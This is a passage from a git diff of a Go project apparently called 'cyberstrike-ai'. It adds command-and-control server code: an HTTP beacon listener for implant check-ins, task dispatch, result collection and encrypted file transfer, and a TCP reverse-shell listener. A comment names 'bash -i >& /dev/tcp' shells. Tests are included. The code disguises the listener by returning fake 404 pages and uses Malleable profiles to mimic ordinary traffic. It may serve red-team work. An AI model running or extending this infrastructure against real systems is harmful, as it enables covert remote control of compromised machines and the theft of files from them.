l.withProfileHeaders(l.handleUpload)) + mux.HandleFunc(l.cfg.BeaconFilePath, l.withProfileHeaders(l.handleFileServe)) + + addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort) + l.srv = &http.Server{ + Addr: addr, + Handler: mux, + ReadHeaderTimeout: 15 * time.Second, + ReadTimeout: 60 * time.Second, + WriteTimeout: 120 * time.Second, + IdleTimeout: 300 * time.Second, + } + + ln, err := net.Listen("tcp", addr) + if err != nil { + if isAddrInUse(err) { + return ErrPortInUse + } + return err + } + + if l.useTLS { + tlsConfig, err := l.buildTLSConfig() + if err != nil { + _ = ln.Close() + return fmt.Errorf("build TLS config: %w", err) + } + l.srv.TLSConfig = tlsConfig + go func() { + if err := l.srv.ServeTLS(ln, "", ""); err != nil && !errors.Is(err, http.ErrServerClosed) { + l.logger.Warn("https_beacon ServeTLS exited", zap.Error(err)) + } + }() + } else { + go func() { + if err := l.srv.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) { + l.logger.Warn("http_beacon Serve exited", zap.Error(err)) + } + }() + } + return nil +} + +// Stop 关闭 +func (l *HTTPBeaconListener) Stop() error { + l.mu.Lock() + if l.stopped { + l.mu.Unlock() + return nil + } + l.stopped = true + close(l.stopCh) + l.mu.Unlock() + if l.srv != nil { + ctx, cancel := contextWithTimeout(5 * time.Second) + defer cancel() + _ = l.srv.Shutdown(ctx) + } + return nil +} + +// ---------------------------------------------------------------------------- +// HTTP handlers +// ---------------------------------------------------------------------------- + +func (l *HTTPBeaconListener) handleCheckIn(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + if !l.checkImplantToken(r) { + l.disguisedReject(w) + return + } + body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 1<<20)) + if err != nil { + http.Error(w, "read failed", http.StatusBadRequest) + return + } + + // 尝试 AES-GCM 解密（完整 beacon 二进制走加密通道） + var req ImplantCheckInRequest + plaintext, decErr := DecryptAESGCM(l.rec.EncryptionKey, string(body)) + if decErr == nil { + if err := json.Unmarshal(plaintext, &req); err != nil { + l.disguisedReject(w) + return + } + } else { + // 解密失败：尝试当作明文 JSON（兼容 curl oneliner 等轻量级客户端） + if err := json.Unmarshal(body, &req); err != nil { + l.disguisedReject(w) + return + } + } + isPlaintext := decErr != nil + + if req.UserAgent == "" { + req.UserAgent = r.UserAgent() + } + if req.SleepSeconds <= 0 { + req.SleepSeconds = l.cfg.DefaultSleep + } + // curl oneliner 可能不携带完整字段，用 remote IP + listener ID 生成稳定标识 + host, _, _ := net.SplitHostPort(r.RemoteAddr) + if strings.TrimSpace(req.ImplantUUID) == "" { + // 基于 IP + listener ID 生成稳定 UUID，同一 IP 多次 check_in 复用同一会话 + req.ImplantUUID = fmt.Sprintf("curl_%s_%s", host, shortHash(host+l.rec.ID)) + } + if strings.TrimSpace(req.Hostname) == "" { + req.Hostname = "curl_" + host + } + if strings.TrimSpace(req.InternalIP) == "" { + req.InternalIP = host + } + if strings.TrimSpace(req.OS) == "" { + req.OS = "unknown" + } + if strings.TrimSpace(req.Arch) == "" { + req.Arch = "unknown" + } + session, err := l.manager.IngestCheckIn(l.rec.ID, req) + if err != nil { + http.Error(w, "ingest failed", http.StatusInternalServerError) + return + } + queued, _ := l.manager.DB().ListC2Tasks(database.ListC2TasksFilter{ + SessionID: session.ID, + Status: string(TaskQueued), + Limit: 1, + }) + resp := ImplantCheckInResponse{ + SessionID: session.ID, + NextSleep: session.SleepSeconds, + NextJitter: session.JitterPercent, + HasTasks: len(queued) > 0, + ServerTime: time.Now().UnixMilli(), + } + if isPlaintext { + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(resp) + } else { + l.writeEncrypted(w, resp) + } +} + +func (l *HTTPBeaconListener) handleTasks(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + if !l.checkImplantToken(r) { + l.disguisedReject(w) + return + } + sessionID := r.URL.Query().Get("session_id") + if sessionID == "" { + l.disguisedReject(w) + return + } + session, err := l.manager.DB().GetC2Session(sessionID) + if err != nil || session == nil { + l.disguisedReject(w) + return + } + envelopes, err := l.manager.PopTasksForBeacon(sessionID, 50) + if err != nil { + http.Error(w, "pop tasks failed", http.StatusInternalServerError) + return + } + if envelopes == nil { + envelopes = []TaskEnvelope{} + } + resp := map[string]interface{}{"tasks": envelopes} + if l.isPlaintextClient(r) { + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(resp) + } else { + l.writeEncrypted(w, resp) + } +} + +func (l *HTTPBeaconListener) handleResult(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + if !l.checkImplantToken(r) { + l.disguisedReject(w) + return + } + body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 64<<20)) + if err != nil { + http.Error(w, "read failed", http.StatusBadRequest) + return + } + var report TaskResultReport + plaintext, decErr := DecryptAESGCM(l.rec.EncryptionKey, string(body)) + if decErr != nil { + l.disguisedReject(w) + return + } + if err := json.Unmarshal(plaintext, &report); err != nil { + l.disguisedReject(w) + return + } + if err := l.manager.IngestTaskResult(report); err != nil { + http.Error(w, "ingest result failed", http.StatusInternalServerError) + return + } + resp := map[string]string{"ok": "1"} + if l.isPlaintextClient(r) { + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(resp) + } else { + l.writeEncrypted(w, resp) + } +} + +// handleUpload 实现 implant 主动上传文件给服务端（如 download 任务的二进制结果）。 +// Body 为 AES-GCM 加密后的 base64，与 check-in/result 保持一致的安全策略。 +func (l *HTTPBeaconListener) handleUpload(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + if !l.checkImplantToken(r) { + l.disguisedReject(w) + return + } + taskID := r.URL.Query().Get("task_id") + if taskID == "" { + l.disguisedReject(w) + return + } + body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 256<<20)) + if err != nil { + http.Error(w, "read failed", http.StatusBadRequest) + return + } + plaintext, err := DecryptAESGCM(l.rec.EncryptionKey, string(body)) + if err != nil { + l.disguisedReject(w) + return + } + dir, dst, err := uploadPathForTask(l.manager.StorageDir(), taskID) + if err != nil { + l.disguisedReject(w) + return + } + if err := os.MkdirAll(dir, 0o755); err != nil { + http.Error(w, "mkdir failed", http.StatusInternalServerError) + return + } + if err := os.WriteFile(dst, plaintext, 0o644); err != nil { + http.Error(w, "save failed", http.StatusInternalServerError) + return + } + l.writeEncrypted(w, map[string]interface{}{"ok": 1, "size": len(plaintext)}) +} + +// handleFileServe 实现服务端 → implant 的文件下发（upload 任务用）。 +// 路径形如 /file/，文件内容经 AES-GCM 加密后返回。 +func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + if !l.checkImplantToken(r) { + l.disguisedReject(w) + return + } + prefix := l.cfg.BeaconFilePath + taskID := strings.TrimPrefix(r.URL.Path, prefix) + taskID = strings.TrimSuffix(taskID, ".bin") + if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") { + l.disguisedReject(w) + return + } + fpath := filepath.Join(l.manager.StorageDir(), "downstream", taskID+".bin") + absPath, err := filepath.Abs(fpath) + if err != nil { + l.disguisedReject(w) + return + } + absDir, err := filepath.Abs(filepath.Join(l.manager.StorageDir(), "downstream")) + if err != nil || !strings.HasPrefix(absPath, absDir+string(filepath.Separator)) { + l.disguisedReject(w) + return + } + data, err := os.ReadFile(absPath) + if err != nil { + l.disguisedReject(w) + return + } + l.writeEncrypted(w, map[string]interface{}{ + "file_data": base64Encode(data), + }) +} + +// ---------------------------------------------------------------------------- +// 鉴权 / 输出辅助 +// ---------------------------------------------------------------------------- + +// checkImplantToken 校验 X-Implant-Token header（恒定时间比较防止时序攻击） +func (l *HTTPBeaconListener) checkImplantToken(r *http.Request) bool { + got := r.Header.Get("X-Implant-Token") + if got == "" { + got = r.Header.Get("Cookie") // 兼容 Malleable Profile 用 Cookie 携带 + } + expected := l.rec.ImplantToken + if got == "" || expected == "" { + return false + } + return subtle.ConstantTimeCompare([]byte(got), []byte(expected)) == 1 +} + +// disguisedReject 鉴权失败时返回 404，避免暴露 listener 是 C2 +func (l *HTTPBeaconListener) disguisedReject(w http.ResponseWriter) { + w.Header().Set("Content-Type", "text/html; charset=utf-8") + w.WriteHeader(http.StatusNotFound) + _, _ = fmt.Fprint(w, "

404 Not Found

") +} + +// writeEncrypted JSON 序列化 + AES-GCM 加密 + 写回 +func (l *HTTPBeaconListener) writeEncrypted(w http.ResponseWriter, payload interface{}) { + body, err := json.Marshal(payload) + if err != nil { + http.Error(w, "encode failed", http.StatusInternalServerError) + return + } + enc, err := EncryptAESGCM(l.rec.EncryptionKey, body) + if err != nil { + http.Error(w, "encrypt failed", http.StatusInternalServerError) + return + } + w.Header().Set("Content-Type", "application/octet-stream") + _, _ = w.Write([]byte(enc)) +} + +// loadProfile loads Malleable Profile from DB if the listener has a profile_id configured +func (l *HTTPBeaconListener) loadProfile() { + if l.rec.ProfileID == "" { + return + } + profile, err := l.manager.GetProfile(l.rec.ProfileID) + if err != nil || profile == nil { + l.logger.Warn("加载 Malleable Profile 失败，使用默认配置", + zap.String("profile_id", l.rec.ProfileID), zap.Error(err)) + return + } + l.profile = profile + l.logger.Info("Malleable Profile 已加载", + zap.String("profile_id", profile.ID), + zap.String("profile_name", profile.Name), + zap.String("user_agent", profile.UserAgent)) +} + +// withProfileHeaders wraps a handler to inject Malleable Profile response headers +func (l *HTTPBeaconListener) withProfileHeaders(next http.HandlerFunc) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + if l.profile != nil && len(l.profile.ResponseHeaders) > 0 { + for k, v := range l.profile.ResponseHeaders { + w.Header().Set(k, v) + } + } + next(w, r) + } +} + +// ---------------------------------------------------------------------------- +// TLS 自签证书（仅供测试 / Phase 2 默认行为） +// ---------------------------------------------------------------------------- + +func (l *HTTPBeaconListener) buildTLSConfig() (*tls.Config, error) { + // 操作员显式提供证书 → 优先使用 + if l.cfg.TLSCertPath != "" && l.cfg.TLSKeyPath != "" { + cert, err := tls.LoadX509KeyPair(l.cfg.TLSCertPath, l.cfg.TLSKeyPath) + if err == nil { + return &tls.Config{Certificates: []tls.Certificate{cert}, MinVersion: tls.VersionTLS12}, nil + } + l.logger.Warn("加载 TLS 证书失败，回退自签", zap.Error(err)) + } + // 自签证书：CN 用 listener 名，避免重复 + cert, err := generateSelfSignedCert(l.rec.Name) + if err != nil { + return nil, err + } + return &tls.Config{Certificates: []tls.Certificate{cert}, MinVersion: tls.VersionTLS12}, nil +} + +func generateSelfSignedCert(cn string) (tls.Certificate, error) { + priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) + if err != nil { + return tls.Certificate{}, err + } + serial, _ := rand.Int(rand.Reader, big.NewInt(1<<62)) + tmpl := &x509.Certificate{ + SerialNumber: serial, + Subject: pkix.Name{CommonName: cn}, + NotBefore: time.Now().Add(-1 * time.Hour), + NotAfter: time.Now().Add(365 * 24 * time.Hour), + KeyUsage: x509.KeyUsageDigitalSignature, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, + IPAddresses: []net.IP{net.ParseIP("127.0.0.1")}, + DNSNames: []string{"localhost"}, + } + der, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv) + if err != nil { + return tls.Certificate{}, err + } + keyDER, err := x509.MarshalECPrivateKey(priv) + if err != nil { + return tls.Certificate{}, err + } + certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der}) + keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER}) + return tls.X509KeyPair(certPEM, keyPEM) +} + +func base64Encode(data []byte) string { + return base64.StdEncoding.EncodeToString(data) +} + +func shortHash(s string) string { + h := sha256.Sum256([]byte(s)) + return hex.EncodeToString(h[:6]) +} + +// isPlaintextClient 判断请求是否来自明文客户端（curl oneliner 等） +// 完整 beacon 二进制会设置 Content-Type: application/octet-stream +func (l *HTTPBeaconListener) isPlaintextClient(r *http.Request) bool { + ct := r.Header.Get("Content-Type") + accept := r.Header.Get("Accept") + return strings.Contains(ct, "application/json") || + strings.Contains(accept, "application/json") || + strings.Contains(r.UserAgent(), "curl/") +} + +// ApplyJitter 给定基础 sleep + jitter 百分比，返回随机抖动后的 duration +// 公开给 listener_websocket / payload 模板共用，避免重复实现 +func ApplyJitter(baseSec, jitterPercent int) time.Duration { + if baseSec <= 0 { + return 0 + } + if jitterPercent <= 0 { + return time.Duration(baseSec) * time.Second + } + if jitterPercent > 100 { + jitterPercent = 100 + } + delta := mrand.Intn(2*jitterPercent+1) - jitterPercent // [-j, +j] + factor := 1.0 + float64(delta)/100.0 + return time.Duration(float64(baseSec)*factor) * time.Second +} diff --git a/internal/c2/listener_http_test.go b/internal/c2/listener_http_test.go new file mode 100644 index 00000000..58f1d9d1 --- /dev/null +++ b/internal/c2/listener_http_test.go @@ -0,0 +1,314 @@ +package c2 + +import ( + "bytes" + "encoding/base64" + "encoding/json" + "io" + "net" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "strconv" + "strings" + "testing" + "time" + + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +// 集成验证：路由、鉴权伪装 404、明文 check-in JSON 回包。 +func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) { + tmp := t.TempDir() + dbPath := filepath.Join(tmp, "c2.sqlite") + db, err := database.NewDB(dbPath, zap.NewNop()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = db.Close() }) + + lnPick, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + port := lnPick.Addr().(*net.TCPAddr).Port + _ = lnPick.Close() + + keyB64, err := GenerateAESKey() + if err != nil { + t.Fatal(err) + } + token := "test-implant-token-fixed" + + lid := "l_testhttpbeacon01" + rec := &database.C2Listener{ + ID: lid, + Name: "t", + Type: string(ListenerTypeHTTPBeacon), + BindHost: "127.0.0.1", + BindPort: port, + EncryptionKey: keyB64, + ImplantToken: token, + Status: "stopped", + ConfigJSON: `{"beacon_check_in_path":"/check_in"}`, + CreatedAt: time.Now(), + } + if err := db.CreateC2Listener(rec); err != nil { + t.Fatal(err) + } + + m := NewManager(db, zap.NewNop(), filepath.Join(tmp, "c2store")) + m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener) + if _, err := m.StartListener(lid); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = m.StopListener(lid) }) + + base := "http://127.0.0.1:" + strconv.Itoa(port) + client := &http.Client{Timeout: 5 * time.Second} + + t.Run("wrong_path_go_default_404", func(t *testing.T) { + resp, err := client.Post(base+"/nope", "application/json", strings.NewReader(`{}`)) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + b, _ := io.ReadAll(resp.Body) + if resp.StatusCode != http.StatusNotFound { + t.Fatalf("status=%d body=%q", resp.StatusCode, b) + } + if !strings.Contains(string(b), "404") || !strings.Contains(strings.ToLower(string(b)), "not found") { + t.Fatalf("unexpected body: %q", b) + } + }) + + t.Run("check_in_wrong_token_disguised_html_404", func(t *testing.T) { + req, _ := http.NewRequest(http.MethodPost, base+"/check_in", bytes.NewBufferString(`{"hostname":"h"}`)) + req.Header.Set("X-Implant-Token", "wrong-token") + req.Header.Set("Content-Type", "application/json") + resp, err := client.Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + b, _ := io.ReadAll(resp.Body) + if resp.StatusCode != http.StatusNotFound { + t.Fatalf("status=%d", resp.StatusCode) + } + ct := resp.Header.Get("Content-Type") + if !strings.Contains(ct, "text/html") { + t.Fatalf("content-type=%q body=%q", ct, b) + } + if !strings.Contains(string(b), "404 Not Found") { + t.Fatalf("expected disguised HTML, got: %q", b) + } + }) + + t.Run("check_in_ok_plaintext_json", func(t *testing.T) { + body := `{"hostname":"n","username":"u","os":"Linux","arch":"amd64","internal_ip":"10.0.0.1","pid":42}` + req, _ := http.NewRequest(http.MethodPost, base+"/check_in", strings.NewReader(body)) + req.Header.Set("X-Implant-Token", token) + req.Header.Set("Content-Type", "application/json") + resp, err := client.Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + b, _ := io.ReadAll(resp.Body) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status=%d body=%s", resp.StatusCode, b) + } + var out ImplantCheckInResponse + if err := json.Unmarshal(b, &out); err != nil { + t.Fatalf("json: %v body=%s", err, b) + } + if out.SessionID == "" || out.NextSleep <= 0 { + t.Fatalf("bad response: %+v", out) + } + }) +} + +func TestHTTPBeaconListener_HandleFileServe(t *testing.T) { + tmp := t.TempDir() + dbPath := filepath.Join(tmp, "c2.sqlite") + db, err := database.NewDB(dbPath, zap.NewNop()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = db.Close() }) + + lnPick, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + port := lnPick.Addr().(*net.TCPAddr).Port + _ = lnPick.Close() + + keyB64, err := GenerateAESKey() + if err != nil { + t.Fatal(err) + } + token := "test-implant-token-file" + + lid := "l_testhttpfile01" + rec := &database.C2Listener{ + ID: lid, + Name: "t", + Type: string(ListenerTypeHTTPBeacon), + BindHost: "127.0.0.1", + BindPort: port, + EncryptionKey: keyB64, + ImplantToken: token, + Status: "stopped", + ConfigJSON: `{"beacon_file_path":"/file/"}`, + CreatedAt: time.Now(), + } + if err := db.CreateC2Listener(rec); err != nil { + t.Fatal(err) + } + + store := filepath.Join(tmp, "c2store") + m := NewManager(db, zap.NewNop(), store) + m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener) + if _, err := m.StartListener(lid); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = m.StopListener(lid) }) + + fileID := "f_testfile123" + downDir := filepath.Join(store, "downstream") + if err := os.MkdirAll(downDir, 0o755); err != nil { + t.Fatal(err) + } + want := []byte("upload-payload-bytes") + if err := os.WriteFile(filepath.Join(downDir, fileID+".bin"), want, 0o644); err != nil { + t.Fatal(err) + } + + base := "http://127.0.0.1:" + strconv.Itoa(port) + client := &http.Client{Timeout: 5 * time.Second} + + for _, path := range []string{"/file/" + fileID, "/file/" + fileID + ".bin"} { + t.Run(path, func(t *testing.T) { + req, _ := http.NewRequest(http.MethodGet, base+path, nil) + req.Header.Set("X-Implant-Token", token) + resp, err := client.Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + b, _ := io.ReadAll(resp.Body) + t.Fatalf("status=%d body=%q", resp.StatusCode, b) + } + raw, err := io.ReadAll(resp.Body) + if err != nil { + t.Fatal(err) + } + plain, err := DecryptAESGCM(keyB64, string(raw)) + if err != nil { + t.Fatal(err) + } + var out struct { + FileData string `json:"file_data"` + } + if err := json.Unmarshal(plain, &out); err != nil { + t.Fatal(err) + } + got, err := base64.StdEncoding.DecodeString(out.FileData) + if err != nil { + t.Fatal(err) + } + if !bytes.Equal(got, want) { + t.Fatalf("got %q want %q", got, want) + } + }) + } +} + +func TestHTTPBeaconListener_HandleUploadConfinesTaskID(t *testing.T) { + tmp := t.TempDir() + store := filepath.Join(tmp, "c2store") + keyB64, err := GenerateAESKey() + if err != nil { + t.Fatal(err) + } + token := "test-implant-token-upload" + l := &HTTPBeaconListener{ + rec: &database.C2Listener{ + EncryptionKey: keyB64, + ImplantToken: token, + }, + manager: NewManager(nil, zap.NewNop(), store), + logger: zap.NewNop(), + } + + encrypted, err := EncryptAESGCM(keyB64, []byte("safe upload")) + if err != nil { + t.Fatal(err) + } + req := httptest.NewRequest(http.MethodPost, "/upload?task_id=t_safe123", strings.NewReader(encrypted)) + req.Header.Set("X-Implant-Token", token) + rr := httptest.NewRecorder() + + l.handleUpload(rr, req) + + if rr.Code != http.StatusOK { + t.Fatalf("status=%d body=%q", rr.Code, rr.Body.String()) + } + got, err := os.ReadFile(filepath.Join(store, "uploads", "t_safe123.bin")) + if err != nil { + t.Fatal(err) + } + if string(got) != "safe upload" { + t.Fatalf("content=%q", got) + } + + evilBody, err := EncryptAESGCM(keyB64, []byte("owned")) + if err != nil { + t.Fatal(err) + } + evilReq := httptest.NewRequest(http.MethodPost, "/upload?task_id=..%2Fowned", strings.NewReader(evilBody)) + evilReq.Header.Set("X-Implant-Token", token) + evilRR := httptest.NewRecorder() + + l.handleUpload(evilRR, evilReq) + + if evilRR.Code != http.StatusNotFound { + t.Fatalf("status=%d body=%q", evilRR.Code, evilRR.Body.String()) + } + if _, err := os.Stat(filepath.Join(store, "owned.bin")); !os.IsNotExist(err) { + t.Fatalf("outside file exists or stat failed unexpectedly: %v", err) + } +} + +func TestHTTPBeaconListener_HandleResultRejectsPlaintextJSON(t *testing.T) { + keyB64, err := GenerateAESKey() + if err != nil { + t.Fatal(err) + } + l := &HTTPBeaconListener{ + rec: &database.C2Listener{ + EncryptionKey: keyB64, + ImplantToken: "test-implant-token-result", + }, + logger: zap.NewNop(), + } + + req := httptest.NewRequest(http.MethodPost, "/result", strings.NewReader(`{"task_id":"t_test","success":true}`)) + req.Header.Set("X-Implant-Token", "test-implant-token-result") + req.Header.Set("Content-Type", "application/json") + rr := httptest.NewRecorder() + + l.handleResult(rr, req) + + if rr.Code != http.StatusNotFound { + t.Fatalf("status=%d body=%q", rr.Code, rr.Body.String()) + } + if !strings.Contains(rr.Body.String(), "404 Not Found") { + t.Fatalf("expected disguised 404 body, got %q", rr.Body.String()) + } +} diff --git a/internal/c2/listener_tcp.go b/internal/c2/listener_tcp.go new file mode 100644 index 00000000..f5fb5693 --- /dev/null +++ b/internal/c2/listener_tcp.go @@ -0,0 +1,487 @@ +package c2 + +import ( + "bufio" + "context" + "crypto/sha256" + "encoding/hex" + "fmt" + "io" + "net" + "regexp" + "strings" + "sync" + "sync/atomic" + "time" + + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +// TCPReverseListener 监听 TCP 端口，等待目标机反弹连接。 +// 默认仅接受加密 TCP Beacon：连接后先发送魔数 CSB1，再经 AES-GCM 解密且校验 ImplantToken 后才登记会话。 +// 可选经典模式（config.allow_legacy_shell=true）：纯交互式 raw shell，与 nc / bash -i >& /dev/tcp 兼容，无鉴权，仅建议内网实验。 +// 任务派发（经典模式）：同步 exec —— 收到 task 时直接 send 命令字节并读取输出（带结束标记）。 +type TCPReverseListener struct { + rec *database.C2Listener + cfg *ListenerConfig + manager *Manager + logger *zap.Logger + + mu sync.Mutex + listener net.Listener + stopCh chan struct{} + conns map[string]*tcpReverseConn // session_id → 连接 + stopOnce sync.Once +} + +// tcpReverseConn 单个反弹会话的运行时状态 +type tcpReverseConn struct { + sessionID string + conn net.Conn + reader *bufio.Reader + writeMu sync.Mutex // 序列化 write，避免并发 task 写入 + taskMode int32 // 原子标志: 0=空闲(handleConn读), 1=任务中(runTaskOnConn独占读) +} + +// NewTCPReverseListener 工厂方法（注册到 ListenerRegistry["tcp_reverse"]） +func NewTCPReverseListener(ctx ListenerCreationCtx) (Listener, error) { + return &TCPReverseListener{ + rec: ctx.Listener, + cfg: ctx.Config, + manager: ctx.Manager, + logger: ctx.Logger, + stopCh: make(chan struct{}), + conns: make(map[string]*tcpReverseConn), + }, nil +} + +// Type 返回类型常量 +func (l *TCPReverseListener) Type() string { return string(ListenerTypeTCPReverse) } + +// Start 启动 TCP 监听，accept 在独立 goroutine 中运行 +func (l *TCPReverseListener) Start() error { + addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort) + ln, err := net.Listen("tcp", addr) + if err != nil { + if isAddrInUse(err) { + return ErrPortInUse + } + return err + } + l.mu.Lock() + l.listener = ln + l.mu.Unlock() + go l.acceptLoop() + go l.taskDispatcherLoop() + return nil +} + +// Stop 关闭监听 + 所有活动连接 +func (l *TCPReverseListener) Stop() error { + l.stopOnce.Do(func() { + close(l.stopCh) + }) + l.mu.Lock() + if l.listener != nil { + _ = l.listener.Close() + l.listener = nil + } + for sid, c := range l.conns { + _ = c.conn.Close() + delete(l.conns, sid) + } + l.mu.Unlock() + return nil +} + +func (l *TCPReverseListener) acceptLoop() { + for { + l.mu.Lock() + ln := l.listener + l.mu.Unlock() + if ln == nil { + return + } + conn, err := ln.Accept() + if err != nil { + select { + case <-l.stopCh: + return + default: + } + if isClosedConnErr(err) { + return + } + l.logger.Warn("tcp_reverse accept 失败", zap.Error(err)) + continue + } + go l.handleConn(conn) + } +} + +// handleConn 先识别加密 TCP Beacon（魔数 CSB1 + AES-GCM + Token）；未通过则按配置拒绝或走经典 shell。 +func (l *TCPReverseListener) handleConn(conn net.Conn) { + br := bufio.NewReader(conn) + remote := conn.RemoteAddr().String() + + _ = conn.SetReadDeadline(time.Now().Add(tcpBeaconPeekTimeout)) + prefix, peekErr := br.Peek(4) + if peekErr == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic { + if _, err := br.Discard(4); err != nil { + _ = conn.Close() + return + } + _ = conn.SetReadDeadline(time.Time{}) + l.handleTCPBeaconSession(conn, br) + return + } + + if !l.cfg.AllowLegacyShell { + l.logger.Debug("tcp_reverse 拒绝未加密连接", zap.String("remote", remote)) + _ = conn.Close() + return + } + + _ = conn.SetReadDeadline(time.Time{}) + l.handleShellConn(conn, br) +} + +// handleShellConn 经典裸 TCP 反弹 shell（与 nc/bash /dev/tcp 兼容）；需监听器显式开启 allow_legacy_shell。 +func (l *TCPReverseListener) handleShellConn(conn net.Conn, br *bufio.Reader) { + remote := conn.RemoteAddr().String() + host, _, _ := net.SplitHostPort(remote) + + // 用 listener+remote_ip 生成稳定 implant_uuid，使同一来源的重连复用同一会话 + uuidSeed := fmt.Sprintf("%s|%s", l.rec.ID, host) + hash := sha256.Sum256([]byte(uuidSeed)) + implantUUID := hex.EncodeToString(hash[:8]) + + checkin := ImplantCheckInRequest{ + ImplantUUID: implantUUID, + Hostname: "tcp_" + host, + Username: "unknown", + OS: "unknown", + Arch: "unknown", + InternalIP: host, + SleepSeconds: 0, // 交互式不需要 sleep + JitterPercent: 0, + Metadata: map[string]interface{}{ + "transport": "tcp_reverse", + "remote": remote, + }, + } + session, err := l.manager.IngestCheckIn(l.rec.ID, checkin) + if err != nil { + l.logger.Warn("tcp_reverse 登记会话失败", zap.Error(err)) + _ = conn.Close() + return + } + + tc := &tcpReverseConn{ + sessionID: session.ID, + conn: conn, + reader: br, + } + l.mu.Lock() + if old, exists := l.conns[session.ID]; exists { + _ = old.conn.Close() + } + l.conns[session.ID] = tc + l.mu.Unlock() + + defer func() { + l.mu.Lock() + if cur, ok := l.conns[session.ID]; ok && cur == tc { + delete(l.conns, session.ID) + _ = l.manager.MarkSessionDead(session.ID) + } + l.mu.Unlock() + _ = conn.Close() + }() + + // 主循环：检测连接存活 + 读取非任务期间的 unsolicited 输出 + // 注意：必须统一使用 tc.reader 读取，避免与 runTaskOnConn 的 bufio.Reader 产生数据分裂 + buf := make([]byte, 4096) + for { + select { + case <-l.stopCh: + return + default: + } + // 任务执行中，runTaskOnConn 独占读取权，主循环暂停 + if atomic.LoadInt32(&tc.taskMode) == 1 { + time.Sleep(100 * time.Millisecond) + continue + } + _ = conn.SetReadDeadline(time.Now().Add(60 * time.Second)) + n, err := tc.reader.Read(buf) + if n > 0 { + // 收到数据也刷新心跳 + _ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now()) + if atomic.LoadInt32(&tc.taskMode) == 0 { + l.manager.publishEvent("info", "task", session.ID, "", + "stdout(unsolicited)", map[string]interface{}{ + "output": string(buf[:n]), + }) + } + } + if err != nil { + if err == io.EOF || isClosedConnErr(err) { + return + } + if ne, ok := err.(net.Error); ok && ne.Timeout() { + // 读超时 = 连接仍存活但无数据，刷新心跳防止看门狗误判 + _ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now()) + continue + } + return + } + } +} + +// taskDispatcherLoop 周期扫描所有活动会话的任务队列，下发 exec/shell 类型的同步命令 +func (l *TCPReverseListener) taskDispatcherLoop() { + t := time.NewTicker(500 * time.Millisecond) + defer t.Stop() + for { + select { + case <-l.stopCh: + return + case <-t.C: + l.mu.Lock() + snapshot := make([]*tcpReverseConn, 0, len(l.conns)) + for _, c := range l.conns { + snapshot = append(snapshot, c) + } + l.mu.Unlock() + for _, c := range snapshot { + envelopes, err := l.manager.PopTasksForBeacon(c.sessionID, 5) + if err != nil || len(envelopes) == 0 { + continue + } + for _, env := range envelopes { + go l.runTaskOnConn(c, env) + } + } + } + } +} + +// runTaskOnConn 把一条 task 转成 raw shell 命令发送，通过结束标记读输出 +func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope) { + startedAt := NowUnixMillis() + cmd, ok := buildTCPCommand(TaskType(env.TaskType), env.Payload) + if !ok { + l.reportTaskResult(env.TaskID, startedAt, false, "", "tcp_reverse listener 不支持该任务类型: "+env.TaskType, "", "") + return + } + + // 独占读取权：通知 handleConn 主循环暂停 + atomic.StoreInt32(&c.taskMode, 1) + defer atomic.StoreInt32(&c.taskMode, 0) + + // 等待 handleConn 循环退出读取（给 100ms 让正在进行的 Read 超时/完成） + time.Sleep(150 * time.Millisecond) + + // 排空 buffer 中残留的 bash 提示符等数据 + drainStaleData(c.reader, c.conn) + + endMark := fmt.Sprintf("__C2_DONE_%s__", env.TaskID) + wrapped := 